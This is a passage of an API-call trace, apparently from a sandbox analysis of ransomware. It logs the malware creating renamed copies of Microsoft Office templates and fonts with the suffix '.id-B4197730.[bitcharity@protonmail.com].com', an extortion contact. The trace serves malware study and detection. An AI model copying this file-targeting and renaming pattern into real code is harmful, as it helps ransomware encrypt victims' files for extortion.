lpNewFilePointer=0x0) returned 1 [0278.582] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VSM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vsm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.582] CloseHandle (hObject=0x11bc) returned 1 [0278.583] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.583] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VSM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vsm_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.583] CloseHandle (hObject=0x11bc) returned 1 [0278.584] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.584] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VSM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vsm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.585] CloseHandle (hObject=0x11bc) returned 1 [0278.586] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.586] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VSM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vsm_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.586] CloseHandle (hObject=0x11bc) returned 1 [0278.587] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.587] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WADOWI_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wadowi_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.587] CloseHandle (hObject=0x11bc) returned 1 [0278.599] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.599] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WADOWI_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wadowi_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.599] CloseHandle (hObject=0x11c4) returned 1 [0278.600] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.600] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WALL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wall_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.600] CloseHandle (hObject=0x11c4) returned 1 [0278.601] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.601] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WALL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wall_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.601] CloseHandle (hObject=0x11c4) returned 1 [0278.602] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.602] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBMAP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\webmap_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.602] CloseHandle (hObject=0x11c4) returned 1 [0278.605] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.605] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBMAP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\webmap_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.605] CloseHandle (hObject=0x11c4) returned 1 [0278.606] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.606] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBMAP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\webmap_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.606] CloseHandle (hObject=0x11c4) returned 1 [0278.608] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.608] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBMAP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\webmap_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.608] CloseHandle (hObject=0x11c4) returned 1 [0278.609] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.609] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBSIT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\websit_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.610] CloseHandle (hObject=0x11c4) returned 1 [0278.611] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.611] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBSIT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\websit_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.611] CloseHandle (hObject=0x11c4) returned 1 [0278.612] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.612] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBSIT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\websit_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.612] CloseHandle (hObject=0x11c4) returned 1 [0278.613] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.613] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WEBSIT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\websit_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.614] CloseHandle (hObject=0x11c4) returned 1 [0278.614] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.614] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WELD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\weld_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.615] CloseHandle (hObject=0x11c4) returned 1 [0278.616] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.616] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WELD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\weld_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.616] CloseHandle (hObject=0x11c4) returned 1 [0278.617] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.617] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCICN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfcicn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.617] CloseHandle (hObject=0x11c4) returned 1 [0278.618] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.618] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCICN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfcicn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.618] CloseHandle (hObject=0x11c4) returned 1 [0278.619] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.619] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCRS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfcrs_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.134] CloseHandle (hObject=0x11c4) returned 1 [0280.434] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.434] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.GROOVE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.groove.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.434] CloseHandle (hObject=0x1160) returned 1 [0280.454] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.455] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\AGENCYB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\agencyb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.455] CloseHandle (hObject=0x1160) returned 1 [0280.456] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.456] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\AGENCYR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\agencyr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.456] CloseHandle (hObject=0x1160) returned 1 [0280.458] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.458] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ALGER.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\alger.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.458] CloseHandle (hObject=0x1160) returned 1 [0280.459] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.459] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ANTQUAB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\antquab.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.459] CloseHandle (hObject=0x1160) returned 1 [0280.460] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.460] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ANTQUABI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\antquabi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.460] CloseHandle (hObject=0x1160) returned 1 [0280.462] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.462] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ANTQUAI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\antquai.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.462] CloseHandle (hObject=0x1160) returned 1 [0280.462] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.463] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ARIALN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\arialn.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.463] CloseHandle (hObject=0x1160) returned 1 [0280.463] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.463] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ARIALNB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\arialnb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.464] CloseHandle (hObject=0x1160) returned 1 [0280.464] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.465] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ARIALNBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\arialnbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.465] CloseHandle (hObject=0x1160) returned 1 [0280.467] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.467] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ARIALNI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\arialni.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.467] CloseHandle (hObject=0x1160) returned 1 [0280.469] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, 